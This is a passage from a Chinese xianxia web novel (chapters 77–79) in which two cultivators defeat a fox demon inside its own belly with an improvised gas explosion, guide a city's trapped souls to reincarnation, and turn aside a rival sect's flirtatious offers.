两个人在荷花村里转了一圈,发现村中的僵尸已经全都被消灭了。 夜色降临,整个村子里的声音全都消失了。 贺兰忱有一搭没一搭的跟沈云戚聊着天,道:“这里是你从小长大的地方吗?” “嗯。”沈云戚点点头,“不过没有待多久就走了,当时我还傻傻的给我爹找老婆了,找了三个妖怪来了。” 说到这里,沈云戚不由觉得好笑,他爹分明知道自己就是他生的,还纵容他胡闹,陪着他找人,若是没有将渡妄从山里背回来。 说不定他爹真的会为了他跟柳音成亲。 贺兰忱问道:“三个妖怪?一个被你爹杀了,一个在京城的时候被毁了妖丹自爆了,还有一个了?” “……还有一个,被小爹打成重伤,被我爹送到了镇上治病,之后便不见了踪影。”沈云戚越说越觉得不对劲,“你是怀疑那个妖吗?” 贺兰忱收剑道:“去看看也无妨,毕竟此处已经没有任何生灵的行踪了。” 第 77 章 故地 从荷花村到荷花镇的路, 小时候摇摇晃晃的坐在牛车上要一个时辰,现在只需要几息,两人便来到了荷花镇。 漆黑的夜晚, 空荡荡的小镇, 出城的地方有个告示栏, 长久的没有人,木头早就腐烂不堪了。 沈云戚走过去看了一眼, 发现上面有不少告示,最多的就是寻人启事, 还有一封通缉令。 通缉令沈不忘,罪名,残杀荷花村全村五十九口人,据幸存者胡淳志口述……天盛十年三月十五。 落款有时间,沈云戚瞥了一眼, 对贺兰忱道:“我们去客栈。” 客栈就在告示栏的对面, 多年未被修缮的客栈本应该摇摇欲坠才对,就如那告示栏一般,偏偏这个客栈却如当年一样,不说十分新,倒是结实坚固。 沈云戚推门进去, 空气中肃杀的杀意直冲而来。 短兵相接,沈云戚拔剑很快,几息之间便跟来人过了十来招,对方剑法很强,一时分不出上下。 就在此时,躲在暗处的人忽然喊了一声:“七皇子,是你吧?” “什么七皇子?”剑士也出声了。 那人道:“别打了, 先别打了,都是自己人。” 烛光在黑暗中亮了起来,原来悄无声息的客栈里竟然藏了不少人,之前与沈云戚打斗起来的人竟然是俞观南。 他看到沈云戚的时候,也微微一顿,惊喜道:“是你,沈师弟?” “你们怎么在这里?”沈云戚发现这里人很多,还有人躺在躺在地上,脸色发情。 俞观南收起剑来,解释道:“我们已经被困在邺城好几日了,每日魔物都会比前一日多,今日我们被逼到走投无路,便跳下了河,没想到被冲到了这个小镇上,镇上魔物不多,我们便杀完了,在此处修修整一番,等到天亮再看看。” “刚刚以为你们是僵尸,若有冒犯,请多担待。”俞观南彬彬有礼的说道,不愧是青云宗的大师兄,进退有度,十分冷静。 沈云戚点点头,道:“无碍。” 俞观南盯着沈云戚的脸看了半响,似乎有什么话想说,沈云戚下意识的回看他,问道:“俞师兄,怎么了?” “其实……” “七皇子,肯定是皇上派你们来救我们的对吗?”那个一开始叫他七皇子的声音再一次响起。 那是一个十分俊美秀气的年轻人,一身蓝色的衣服,脸上挂着恬淡的笑容,目光真切,宛如见到救世主一般。 地上倒着许多受伤的修士,他们有些是这次来的,还有些是之前前来历练的。 他们浑身都疼,伤口像是被腐蚀了一般,一点点溃烂,几乎可以看见血肉之下的白骨,白骨之下的内脏。 蓝衣青年对众人说道:“七皇子可厉害了,我们王朝所有的物资全都供养了七皇子,他必定修为盖世,专门受殿下之命来救我们的。” 众位修士在苦难中,想要抓住贺兰忱这个唯一的救命稻草。 同时目光又有些怪异,蓝衣公子那句王朝所有物资都供养七皇子,让大家心中生出不悦。 贺兰忱见蓝衣公子想继续开口捧杀他,他顿时一挑眉:“好说好说,既然本皇子在这里,那你们都得听我的,首先把你们身上的丹药保命之物全都交到我这里,再由本皇子统一分配。” 沈云戚看过去,发现他面前站着一位身着宝蓝色长衫的俊美年轻人,脸上和善的笑容僵住了,解释道:“殿下,我已经没有什么宝物了,只剩一些防身之物。” “你没有,便将他们的拿来,难道还要本皇子教你吗?”贺兰忱一脸痞相的说道,宛如炸富的穷人,得到了权力,立即就要挥刀确认自己的。 他的行径十分流氓霸道,显然没有丝毫皇家的贵气,哪里有一点皇子的模样?肯定是假的。 百花宗的几位女修顿时恼了:“凭什么给你?你算什么东西?” “因为我是皇子,普天之下莫非王土,你们生活在这里,你们的东西便是我的。”贺兰忱继续说道,“还有你们这几个,藏头露尾的不敢以真面目示人是什么意思?本皇子在此命令你们,揭下斗笠。” “我们还魂宗不是你们山河王朝的宗门,不必听你的命令。”说话的是一位佝偻大叔,脑袋上戴着斗笠,小臂和小腿上都严严实实绑着绷带,看不清面目。 他身后跟着的弟子也全是这般造型。 贺兰忱挑挑眉,道:“你说不给便不看就不看吗?你,去帮我把他们的模样揭开。” “七皇子,这样不好吧?这是恶霸行径。”蓝公子面露为难之色。 贺兰忱却不要脸皮一般,说道:“我就是恶霸,怎么了?来,看看,这就是我抢来的童养媳。” 贺兰忱说着便揽住沈云戚的脖子,将他拉进自己的怀里。 沈云戚低声问了句:“怎么了?” 贺兰忱邪邪的笑着,冲着他眨了一下眼睛。 沈云戚僵了一下,干嘛突然对他放电啊? “若是遇上危险,你们就挡在前面当肉盾,保护本殿下和皇子妃。”贺兰忱张牙舞爪的开始指挥,恶霸的态度十分欠揍。 “我们宗门各个都是万里挑一的天才,来你这当肉盾?简直笑话,皇子了不起吗?”连清仙子第一个坐不住。 还魂宗的人也不想跟他们多说什么,带着弟子去了客栈二楼,隐入黑暗之中毫无气息,宛如死人一般。 贺兰忱依旧不依不饶的站在楼梯旁对着他们喊道:“走什么?快点让本殿下看看。” 蓝公子见状,面露为难之色,心里暗暗的不爽,想不到这小子竟成了这般德行,他还以为他被带走,会被那两位好生教导,他是他们的弟子,若是此次各大宗门的天骄全都折损在此的话,那两人身上的罪责便又多了一宗。 蓝公子终于意识到了此事不宜操之过急,对着百花宗的仙子们,露出笑容,道:“那诸位请便吧。” 越杳仙子对着蓝公子抱拳道:“蓝公子,宝物能者得之,无论此次得到什么,都与王朝无关。” “宝物?还有宝物啊,你们无论谁拿到宝物,都给本皇子呈上来。”贺兰忱继续跋扈的说道。 一旁的袁不焕看着他们两人,似乎想起来他们是什么人了,当年就是那个小的,乡野来的村夫,让他在京城丢尽颜面,最后差一点还被妖猴吃掉。 他们竟然有这么好的造化,最后还拜了剑尊为师?若是此次让他们凭着身份拿到好处,他可不愿,袁不焕立即站出来,嗤笑道:“谁说你是皇子的?我爹是天下兵马大元帅,我自小在皇城中长大,怎么没见过你?” “谁说我不是的?”贺兰忱顿时急了,“这个蓝大人都说我是的,你说句话啊,快点证明一下我。” 蓝公子也很尴尬,轻咳了一声,现在就算替他证明是皇子,众人也不会听他的。 袁不焕说:“你急了,你这种瘪三还想冒充皇子?” “原来是假冒的啊?” “我就说怎么会这么没教养?” 沈云戚立即帮忙解释道:“他可没说自己是皇子,是这位蓝公子偏说他是。” 袁不焕立即道:“别人说他是他就认了,皇亲国戚是你们这种乡野之人可以冒充的吗?信不信我让王朝大军灭了你们宗门。” “你。”沈云戚觉得袁不焕越是长大越是欠揍。 俞观南见此情形,立即打圆场道:“我们诸家本来就是各自揭了朝廷的榜,来解决此事,不存在听谁的指挥,大家休养生息补充体力,以防遇见意外的情况。” 大家觉得他说的在理,本来此次行动便是没有指挥的,凭什么莫名其妙加入一个人就说是七皇子,还有这个姓蓝的家伙,不过是朝廷派来跟他们说明情况的,卷入了此次行动,还将自己当做头头了。 “妖人。”袁不焕看不惯这人。 新帝登基后,这个妖人便占了国师的位置,还掌管着司天监,与各大宗门保持联络。 当年帝陵一役,各大门派死伤惨重,新生代的弟子几乎全都死在了帝陵秘境,后来各宗门招手弟子便从十年一次改为三年一次,资质要求也没有之前那么高了。 沈云戚听了俞观南的解释,对宗门现状也算有了些许了解,道:“所以袁不焕这总经历过两次宗门大选都没有被选中,人才掉落后能入青云宗。” “袁师弟家族鼎盛,未来可期。”俞观南平静的叙述。 贺兰忱道:“哦,就是那种靠着家族给钱买资源走后门进的意思呗。” 袁不焕听到了这话,顿时炸了,怒道:“你说什么?” 贺兰忱抬了抬手上的剑,实力已经说明了一切,袁不焕色厉内荏道:“你还以为我怕了你吗?”又说不出什么更狠的话,只能将怒意撒在俞观南的身上,阴阳怪气道,“大师兄,该不会就是因为你总是在背后说师弟们的坏话,所以一直没有人收你为徒,至今还是外门弟子吧?” 俞观南听到这话也不恼,淡淡道:“师弟,谨言慎行。” 袁不焕不屑地“嘁”了一声,扭头走向了蓝公子那边,他的修为是不足以来邺城的,青云宗的弟子不带他,他便跟着朝廷的队伍一起来了。 沈云戚听到袁不焕这般嘲讽俞观南,他却不生气,心中不由疑惑。 俞观南似乎看出了沈云戚的心思,对着他笑了笑,道:“我志在拜掌门尊上为师,我一定要拜入尊上的门下。” “祝俞师兄早日愿望成真。”贺兰忱立即抱拳道。 俞观南笑了笑,掩下眼底的一丝苦涩,他问:“两位师弟来是如何来此的?” 沈云戚倒是没设防,将自己是如何来荷花村的事情说了一番,不过却并未说二牛的变故,他又道:“我们是来这里找一直狐妖的。” “狐妖?可是我并捕捉到有任何妖气。”俞观南说着拿出占妖镜,上面依旧显示没有妖气。 贺兰忱瞥了他一眼,笑道:“可能是狐妖离开此处了吧。” 俞观南正要说什么的时候,忽然感觉地下震颤不已,客栈里的桌椅地板全都变得柔软起来,踩在上面的感觉就如站在柔软的沙子上。 很熟悉的感觉。 沈云戚以为此处跟邺城那般,地下全都是僵尸,正垂首向下看时,头顶便淋下一股滚烫的热液。 贺兰忱当下便拉着他躲开,滚烫的热液触及地板,立即将其腐蚀融化。 “这是什么东西?” 之前坐在地上的人忽然惊呼一声,触手便摸到了一股黏腻的液体,他咒骂了一声:“好恶心啊。” 话音刚落,一股滚烫的液体再一次从天而降,直接落在那弟子的头上,随之而来的便是凄厉的惨叫声。 “啊啊啊啊,我的脸!” 众人朝他看去,发现他的脸已然变成了白森森的骸骨,看上去极为可怖,同伴正要去救,却发现不知从哪里来了一个触手,直接伸进那修士的丹田处,掏出他的内丹缩了回去。 “这是什么东西,怎么会这样?”俞观南惊恐不安。 贺兰忱:“追上去看看。” 袁不焕大喊道:“追什么追啊,万一有妖物可怎么办啊?” “那你留在这等死吧。”贺兰忱不屑道。 此时客栈早就变了模样,脚下起伏涌动着,踩在上面走路宛如耄耋老者,蹒跚前行,原本的大门此时早就不见了踪影,空气中还弥漫着一股酸臭的气味。 “这里好像……”沈云戚捂着鼻子,皱着眉头。 “粪坑。”贺兰忱接下他的话道。 对,这里就像是个巨大的化粪池,却又有所区别,头顶上不断落下的黏热的液体,充满了腐蚀性,大家都想找个安全的地方躲着,方方正正的客栈变成了巨大的溶洞。 沈云戚贺兰忱二人不管他们怎么想,直接朝着刚刚那触手的方向追去。 越走越黑,沈云戚亮起了掌心火,照亮着前路。 “呵。”痛苦的喘息声从尽头传来。 “你再坚持一下,只要这一次……最后一次,你就能复活了。”女声带着无尽的颓废痛苦之意。 沈云戚耳朵动了动,这个女声是柳音? 第 78 章 打怪 沈云戚跟贺兰忱交换了个眼神, 屏住了气息,朝着声音处走去,火光都照近了, 却不见那红衣女子有反应。 待到火光再盛一些, 沈云戚才看清, 那根本不是个女子,而是一只白色的狐狸, 奄奄一息的被囚禁在溶洞的墙壁上。 “柳音?”沈云戚试探着询问道。 “你是……”那白色的狐狸抬起下巴,细看之下, 那狐狸的眼睛只剩下一只,三只尾巴破破烂烂的,毛发几乎都快掉完了,似被这溶洞的热液腐蚀的。 沈云戚正要开口,便听贺兰忱道:“二十年前, 荷花镇的告示, 您还记得吗?” “啊,原来是小戚啊。”它的声音低低的,问道,“你找到你娘了吗?” 沈云戚下意识的看了一眼贺兰忱,急急说道:“您就是我娘, 我一直在寻你,你忘记了吗?” “呵,可是我这幅样子,怎么还能再当你娘啊?”白狐狸苦笑着。 沈云戚立即冲上去几步,眼眶都红了。 沈云戚小时候长得玉雪可爱,长大后依旧漂亮的不象话,一双又黑又大的眼睛红了, 垂着眼眸,露出悲戚的模样,任谁看到都会心生好感,便会让再铁石心肠的人都会心软。 “娘,我一定会救你出去的。”沈云戚说着说着,眼泪便落了下来,“你受苦了,到底是谁害你成这样的?我一定帮你报仇。” 白狐狸凄然的笑了笑,咬牙道:“是骨魔,是他将我囚在此处。” “他在哪里,我要杀了他为你报仇。”沈云戚愤愤然,对于那个伤害自己娘亲的人深恶痛绝。 白狐狸道:“在溶洞最深处,我用尽所有法子才将他困住,可是他却一直让我吸引人,修士来供他修行。” “好,我们这就去杀了他。”贺兰忱抽出剑来,恨恨的说道。 沈云戚跟贺兰忱交换了一个眼神,朝着溶洞更深处走去。 滴答滴答—— 里面空间越发小了,两个人走到很快便看到白狐狸口中说的“骨魔”,他是一位身材十分矮小的老者,浑身笼罩着一股莹白色的光芒,半悬在空中,身材消瘦,脸上全是皱褶,他的神色十分安详。 唯一诡异的事,他怀里抱着一颗头骨,莫不是这就是白狐狸口中所说的骨魔? 沈云戚站定在不远处,拦住了还要上前的贺兰忱,道:“你就是骨魔吗?我是来为我娘报仇的。” “受死吧。”贺兰忱也震声喊了一句。 老者幽幽的睁开了眼睛,抬眸打量着两人,看到沈云戚的时候,看到他双耳上的小红痣,便知晓了他的身份,展颜笑道:“你哪里来的娘?” “你……”沈云戚顿时僵了一下。 老者笑道:“怎么了?不记得我了,你小时候我还抱过你了。” “……”沈云戚僵了一下,道,“你别跟我套近乎。” 老者又道:“行了,你们这些小九九,可以糊弄住那个妖鬼,却瞒不住我。” 沈云戚顿时有些不安了,道:“你可别胡说,什么妖鬼不妖鬼的?” “别担心,他过不来。”老者似乎看穿了沈云戚的担忧,笑了笑。 贺兰忱抱拳请示道:“前辈,请明示。” 老者掐指计算了一番,道:“你今年也有十八了,二十年前便会找娘了?小儿说话倒是有趣。” 贺兰忱见自己的小把戏被揭穿了,倒是不奇怪,似笑非笑道:“确实,我们是骗那个狐狸的。” “沈道友的孩子,倒是机敏可爱。”老者笑了笑,道,“那狐狸被我制住了,我可以帮你们离开这里,若是不走你们会被他炼化。” “这是什么地方?”沈云戚赶忙追问道。 老者道:“这是那位妖鬼的的内府里,此处刀枪不入,是他专门用来消化修士之所,我们都被他吃了。” “那前辈你为什么不逃。”沈云戚赶紧追问。 “我若是走了,那便无人守护灵书的骨头了。”老者平和的回答。 贺兰忱忙问道:“灵书?是那个上神?” 老者抬眸看了一眼贺兰忱,道:“是的。” 贺兰忱神色有些焦急起来,沈云戚问道:“怎么了?” 贺兰忱正色道:“灵书的骨头……不能被妖物拿走。” “那个妖鬼是柳音吗?”沈云戚又问老头。 老者听到此处,不由沉默了片刻,似乎在思考这个柳音是何人。 “当然不是,桀桀桀,那只愚蠢的红狐狸,还一直以为我是她的救命恩人了,桀桀桀,拼尽修为护住我的神魂。”白狐狸的声音从身后传来,声音雌雄莫辨,没了之前女子那般的柔美。 沈云戚立即转身,发现那白狐狸身形骤然变大,三条大尾巴在空气中挥舞着,巨大的威压传来,若是修为再低一点便会七窍流血,跪地求饶。 老者不由皱眉,道:“不好,他修为暴增,很快就要突破我的禁制了,我先送你们离开。” “你们谁都别想走。”男狐狸嗤笑一声。 贺兰忱赶紧拿出命剑,却发现此处灵力微薄,不能御剑,轮回在他手中也成了品相稍稍好一些的铁剑,他不由低咒了一声:“要你何用?” 轮回嘤嘤嘤哭泣,它还是个需要升级的宝宝,之前天命吸纳了所有灵气,它虽然现在不行,但未来可期。 “天雷术。”贺兰忱蓄力一击,直冲狐妖。 生前是九尾妖王的白狐,经历过九重雷劫,贺兰忱的雷电劈在他的身上不过是挠痒痒。 白狐狸身上掉了几挫毛,嗤笑道:“区区小雷,对我是无效的。” 贺兰忱俨然是个强种,他是雷灵根,对于雷电仙法的控制极好,他身形极快,在大狐狸周围布置了一个雷电囚笼,阵法效果很好,可以成倍增加雷电的效用 “小娃娃,你们快走吧,老身送你们出去。”老者提醒道。 白狐狸身体被雷电劈得冒烟了,可是这点疼痛对他来说却丝毫无效,甚至于还能将他体内不融合的杂质给烧掉,宛如一场小小的雷劫,三尾白狐桀桀怪笑,道:“真舒服,我感觉我很快就要突破了,等我长出四尾,你们就全是我的……噗噗噗咘咘咕咕咕咕……” 话未说完,溶洞里瞬间狂潮浪起,一股巨大的水柱子朝着白狐狸喷去,龇得他说不出一句完整的话。 沈云戚正是水灵根,对于控水的术法学的还是可以的。 只是前段时间修为大跌,无法凝水成冰,重伤这只三尾白狐。 水瀑的威力因为雷电发法阵的为加持变得更为强势了。 此时,俞观南蓝公子等人带着尚活着的人跑了过来,俞观南道:“不好了,那些极具腐蚀性的溶液涨上来了,很多人被融了。” “这是什么怪物?”袁不焕咋咋呼呼的喊道。 没有人给他回答,因为此时不知何种原因,雷电法阵的威力竟在减弱,而沈云戚的水瀑也渐弱,不知道被什么神秘力量给弄没了。 “你们两个就只有这般能耐吗?”白狐狸张开双臂,享受着雷击,他断掉的尾桩上一根尾巴若隐若现的长了出来。 贺兰忱心下一着急,立即使用尽全力,道:“天雷术。” 老者出言阻止,道:“不要劈他,他要渡劫了。” 这话却说的晚了,雷已经劈过去了。 这下其他所有修士都反应过来,此妖物便是秘境之主,战力修为都在他们之上,恰好是进阶期。 狐狸道:“原本还以为要等上几年,现在多亏了你的天雷术,桀桀桀,我要把你们都吃了。” 话落,他的面目变得阴狠起来。 现在算是前无去路,后无退路。 天雷却未击到白狐的身上,打在了沈云戚的水瀑上边忽然消失不见了。 众人也愣了一下,道了句:“怎么回事?” 没了雷牢的禁锢,妖狐尾巴一扫,在他身后的一些修士便被扫进了滚烫的溶液之中,难闻的气味在空气中弥散开来,顷刻之间,眼前的狐狸第四条尾巴便长了出来,身形更是暴涨了一圈。 袁不焕破口大骂道:“你们两个到底在干什?我们都要死在这里了?” 老者也面露难色,道:“我送你们出去,不要在此逗留。” 贺兰忱还在惊讶为什么自己的天雷竟然没有劈中狐妖,便听一旁的沈云戚喊道:“师弟,放火。” “师弟?”贺兰忱对这个称呼有异,手上的动作却没有含糊,立即一道结印,“天火焚城,来。” 一股火球冲着妖狐袭击而去。 四尾白狐咆哮着道:“你们以为火对我有用吗?” 沈云戚却大喊一声:“快跑。” 这是对所有人喊的,与此同时,他赶紧回身拿着那小个子老者就跑,贺兰忱也赶紧追上,其余人虽不解这是为什么,但是跑总没错。 老者道:“没用的,这火太小了,对他无效的。” 话音刚落,身后便传来了剧烈的爆炸声。 “砰”的一声响起,所有人应声趴下,祭出宗门的保命法器,护住自己的小命。 爆炸的音浪铺开,那威压堪比大乘修士,巨大的热浪冲破云霄,吹散了覆盖在邺城之上十余年的迷雾。 世界骤明,耳朵嗡鸣。 沈云戚被贺兰忱压在身下,护住了,临爆炸前拿出了渡妄给他们的宝物,天元钟被炸破了一个缺口,可见这威力之大。 劫后余生,两个人微微喘着气,互相对视了一眼,更呆的是怀里的老者。 老头活了几千年还是第一次看到威力如此巨大的爆炸,堪比九重雷劫,他们重见天日,同时这一下更是让肉身腐坏,行尸走肉的邺城百姓,全都炸为灰烬。 此时炸弹坑里,三个人也缓缓回过神来,五感回来,若不是有天元钟护着,这么近的距离,他们也会被炸成劫灰。 老者目瞪口呆,看着两个后生,问道:“这……这是怎么回事?” 沈云戚沉思片刻,解释道:“水能导电,但是师弟修为比我高两个境界,所以雷电的威力比水的威力大,电解水成了氢气和氧气,加上我们被吃进了他的体内,他消化了这么多东西,体内宛如个大粪坑,气味极其难闻,那是沼气,又叫甲烷。” “密闭空间,为爆炸提供了很好的条件。”贺兰忱眼睛骤然一亮。 沈云戚看向他,微微一笑。 老者听得云里雾里,饶是他活了几千岁,见多识广,依旧无法理解他说的意思,又问:“是什么意思?” “简而言之,高中化学。”贺兰忱酷酷的说道。 第 79 章 四人双修也可以,不试试…… 老者听不懂这是什么意思, 但是那般威力的爆炸,确实可以弄死妖鬼,灰烬之中, 一个巨大的狐狸冲天而起, 它不甘的仰天长啸:“我不甘心, 我明明就要复活了。” 它睚眦欲裂的看向沈云戚,朝着他冲了过来。 那速度极快, 如狂风一般,直冲沈云戚的面门。 老者格挡住狐妖, 冲到他面上的时候,却露出了一个愁苦的女子模样,她声音婉转哀戚,道:“小戚,救救我。” 不过沈云戚并未来得及反应, 妖狐的魂魄便被老者打碎了, 星火坠落于白昼,无人捕捉到它的存在,狐妖的元神彻底消散在天地间。 沈云戚在他消失的地方见到了一匹白色的狐裘,有些眼熟,皮草柔软, 毛发顺滑没有一丝瑕疵。 “爹,这个皮草看上去很不错,可以给我做个手套吗?有点冷。” “这个……不行,我拿去镇上换些银子,到时候给你做个兔毛手套。” 沈云戚顿时想起来了,这是当年他看中的那个狐裘,后来被他爹拿回去换钱了。 所以邺城变成这样, 是你造成的。 不知道这个声音是从哪里传来的,兴许是一个念头。 沈云戚尚未深究,便听到老者徐徐开口道:“此为妖界九尾妖王,为祸六界已久,被剑尊杀了后,灵魂寂灭,可是哪痴女子却用尽心血保住他一缕神识,不知因何缘故,竟然有了这等邪门的修炼之法。” “那个痴女子,或许便是柳音。”沈云戚心神一震想了想,又说,“可能妖王曾经救过柳音,所以她心有执念。” 沈云戚将柳音当年说过的那个英雄救美的故事对着贺兰忱和老者又说了一遍。 老者听了眯了眯眼睛,感慨道:“啊,她口中救她的人,不是那狐妖,应是剑尊。” “为什么这么说?”沈云戚问道。 老者笑道:“那妖王不会使剑,剑修有很多,可是挂着妖王尾巴的人只能是剑尊,因为是剑尊杀了妖狐。” 沈云戚恍惚了一下,这样似乎就说得通了。 贺兰忱脸色冷沉,道:“说起来,这妖狐的修炼之法,有没有觉得很眼熟?” “你是说?”沈云戚不由拧眉。 贺兰忱颔首,道:“无相寺。” 沈云戚皱起眉头,事情变得有些复杂起来了,这事有共性,都是他爹杀掉的邪魔,明明已经灭掉了,却又使用此等为祸生灵的法子重新修行。 还有他在荷花村里看到的那些事情,二牛被杀之前分明喊了一声“沈叔叔”,当时他看到的人究竟是谁? 沈云戚想到书中一直似是而非的写着一个大秘密,不知道是否与这有关? 沈云戚看向贺兰忱,贺兰忱知道这个隐藏的秘密是什么吗? 贺兰忱回看他,冲着他笑了笑,问了句:“一直看着哥哥干什么?” “师弟,你有失分寸了。”沈云戚正色道。 贺兰忱愣了一下,又说:“你这正经的样子还挺唬人的。” 沈云戚拍了拍身上的衣服,走到老者的面前拱手作揖,问道:“前辈,晚辈沈云戚在此拜见,不知该如何称呼前辈?” 老者笑了笑,道:“我是老人参,你叫我参爷爷就可以了。” 沈云戚愣住,心想难道这就是当年爹一直挖来的人参吗?原来是个人参精啊。 贺兰忱已经凑上去嬉皮笑脸的喊了声:“参爷爷,晚辈有个事情想要问你,您是一直在荷花镇上的吗?晚生想要问你关于荷花村的事情,他们是怎么死的?” 参爷爷沉思了片刻,摇摇头,道:“我并不知。” “那……灵书的头骨,可以交给我们保存吗?”贺兰忱又问。 参爷爷斜眼瞥了他一眼,轻蔑的眼神有些藏不住了,道:“你有能力护着吗?” 沈云戚立即道:“我可以让我爹爹守着。” 参爷爷将目光投向沈云戚,似在思索,道:“倒是可以。” 沈云戚又问:“那你知道这邺城的人为何变成了行尸走肉,灵魂不得安歇吗?” 此事参爷爷倒是知晓,解释道:“此事与鬼道有关,人死为鬼,可邺城的死魂却入不了鬼道,反倒被什么东西带走炼化了,灵书为了不让大家死不安宁,便使用神力将大家的灵魂困于肉身。” “所以是他干的?让邺城的人都死了?”贺兰忱拧着眉头,指着老头怀里灵书的头骨。 老人参气的吹胡子瞪眼,道:“怎么可能?邺城是被人屠城了,灵书在邺城布置了结界,里面的死尸不会离开,可是王朝一直派人来处理此事,反倒投喂了那个妖鬼。” 老人参见两个后生一脸茫然的模样,便解释道:“六道之中,人死为鬼,妖死为妖鬼,所有的生灵死后都会轮入轮回道,寻找转世轮回的机会。 “可如今世间鬼道大兴,人死后入不了轮回,反而被鬼道吸收,或炼化,灵书无奈之下只能立下封印,将邺城所有死者的灵魂困于身体内,避免成为鬼道的食粮,懂了吗?” 沈云戚沉思了片刻,说道:“我明白了,现在他们肉身全都被炸了,灵魂没有去处,我们该怎么办?“ 老人参见他如此可教,便道:“是啊,若是有无相书,便可以接引冥界,重开轮回,将所有邺城的亡魂超度。” 沈云戚疑惑道:“无相书?” “对,那是创世宝典,可以连接各界。”老人参活了五六千年了,开了灵智之后也看多了沧海桑田,知晓的事情比王朝的藏书阁还多,活着的百科全书。 沈云戚对无相书的看法又多了一些,无相书可以连接冥界一事,他并不怀疑,不过他并不会在别人面前大咧咧的拿出宝物,他可以找个四下无人的时候,将邺城的鬼魂超度了。 匹夫无罪,怀璧其罪的道理,沈云戚还是知道的。 在这杀人越宝的修真界,自身实力弱小的时候,更需要谨慎。 沈云戚更苦恼的是,他只是区区筑基修士,菜的一笔,怎么样才能快速提升修为了? 现在贺兰忱的修为已经比他高许多了。 就在沈云戚犹豫之时,忽然感觉的一股阴森的冷气袭来,原本笼罩在邺城的迷雾再一次汇聚而来,失去了□□限制的死灵们宛如被卷入飓风之中的纸巾,被黑色的漩涡从地上,从空中,从地底卷了起来,无数的枯叶蝶飞了起来,朝着飓风的中心飞去。 细看之下,那不是枯叶蝶,而是黄纸做的小纸人,每一张小纸人可以吸纳一个死灵。 老人参没有骗人,当真有人在收割死者的亡灵,而且这个小纸人,沈云戚见过。 邺城的数百万百姓的亡灵竟然要成了别人修行的养料,他不许。 “无相书来……众生来我身边,引你入轮回。” 无相书从沈云戚的身后铺展开来,像是两个长长的翅膀,泛着淡淡的光芒,不疾不徐的朝着军飓风的中心延展开去,为那些不知去处的死灵们展开了一条轮回路,金色的咒文从天幕之上降下。 被困于人间十数年的亡灵,终于找到了通往往生的道路。 “无相书啊!这真是无相书。”老人参目瞪口呆。 风息云止,曾经热闹过的邺城,僵尸横行的恐怖的邺城,死魂无处可去的邺城,都在此刻全都归于宁静。 距离邺城千里外的无涯山上,方才爆死3.5尾妖狐的爆裂余威在空气中向四面八方散去带着些许的灵气,终于到达此处,站在原处山头观望的三位大能,心中骇然。 三人便是那日在神祇谷争夺神兵之人,被沈不忘打的落荒而逃,自觉十分丢人,丢了宝物也丢了面子,便一直想伺机报仇。 他们看两小儿修为不高,打算除之而后快,此时却被威力如此巨大的爆炸给惊到了,威力堪比大乘期雷劫。 化魔老祖道:“此子修为竟如此之高,他不是区区金丹修士吗?” “还有一个筑基。”叛修罗神色凝重。 万无妖僧不言语,只是皱眉。 他们几人从神祇谷一路跟来,想着趁着他们师尊不在,拿两个小的开刀,顺便夺回神器,正准备动手,却见邺城发生了剧烈爆炸,威力堪比大乘期雷劫。 气息中的灵气很少,却可以分辨出来时那两个小子的。 这样便更可怕了,这般少的灵力,竟然可以发挥出如此巨大的威力。 这两个小子肯定身上肯定有什么特殊的修炼法门,几个人各怀鬼胎,从一开始想要除之后到现在想要盘问出来此为何招数。 万无和尚笑了笑,道:“化魔前辈乃我们中修为最高的,不如你先去试探一下他们的深浅?” “呵,凭什么是我去,叛修罗先去。”化魔老祖冷哼一声。 叛修罗立即反驳道:“我不去,凭什么我去,我不跟你们一起玩了。” 说罢他就要走,万无妖僧一指天威下来:“万佛归宗。” 叛修罗立即被一手巨大的佛掌压在地下,难以动弹。 “你是想现在死,还是去试探那两小子?”万无妖僧曼声问道。 叛修罗连连道:“我去,我去还不行吗?” 万无妖僧嘴角含笑,此时却再一次看到天际传来的气息,他骤然瞪大了眼睛,道:“佛门至宝!竟然现世了。” 至宝现世,他们再也不纠结谁去试探那小子的深浅,无论是谁,必须拿下那宝物。 邺城的死灵通往冥界之时。 俞观南等人也从灰烬中站了起来,剧烈的爆炸让他们失聪了片刻,此时更是恍恍惚惚的朝着沈云戚和贺兰忱走来。 他们惊讶的看着面前的壮阔景象,数十万的死魂散发着晶莹的淡光,那是功德的气息,这说明邺城的百姓就算死后也没有伤及无辜,若真的如传闻中的那般作恶多端是不会有这些光的。 劫后余生的修士们看着这一幕,心中虽知道此物乃宝物,却也被之前那般震慑元神的爆炸吓住了,此时并不敢对沈云戚和贺兰忱动手。 就连原本看不上两人的还魂宗和百花宗的人也对两人恭恭敬敬的作揖行礼,连清仙子道:“想不到两位前辈竟然如此厉害,之前是我们有眼不识泰山,之前多有得罪。” 贺兰忱摆摆手,道:“好说好说。” 越杳目光落在贺兰忱的身上,咬了咬嘴唇,鼓足了勇气询问道:“不知道前辈可否与我双修?” “越杳,闭嘴。”连清立即呵斥道。 越杳立即改口道:“加上我师姐,我们可以三修。” 贺兰忱立即拒绝道:“不要,我有道侣的,这就是我的皇子妃,来,给她们凶一个。”说着便搂着沈云戚的脖子,占有欲十足的。 沈云戚瞥了他一眼,正色道:“他只能跟我双修,你们滚蛋。” 贺兰忱笑盈盈的看着沈云戚,显然心情很不错。 沈云戚心里暗道说错话了,为什么就顺着这人的话说什么双修了? 不过也没关系,沈云戚大约是知晓了,贺兰忱要跟自己结为道侣,估计是为了拦这些烂桃花的,不然以他的相貌和才能,必定会有追求者的。 在修真界,这些人都没什么道德观,抢个人回去双修都是好的,拿去当炉鼎才真是到了血霉。 传闻这百花宗便是以采补之法进行修行的。 那越杳仙子听到沈云戚这么说,眉眼含笑,又道:“那更好,我们可以四人一起,我们百花宗有多人双修的功法,只要你们答应的话,我们当即便找个洞府闭关修行。” 沈云戚听到这话,不由满头黑线,道:“不必了。” 贺兰忱也十分无语,这百花宗的人真是没节操,沉着脸拒绝道:“不必了,我们对你说的这些毫无兴趣。” “不试试怎么知道没兴趣,我活很好的,可以让你很舒服,肯定比你的皇子妃好。”说着越杳冲着他眨了一下眼睛。 贺兰忱冷声道:“你别敬酒不吃吃罚酒。” “啊,我知道了,你喜欢男子,那我也可以变作男人的模样,其实我本就是男子。”说着那越杳仙子便给他表演了一个大变活人,身材变得修长,面部轮廓变得深邃,长出了喉结,显然变成了男子的模样。 离大谱。 贺兰忱脸色已经很差了,隐隐有生气的样子。 连清立即道歉道:“前辈,是师妹调皮,连清在此赔罪了,请你大人有大量。” 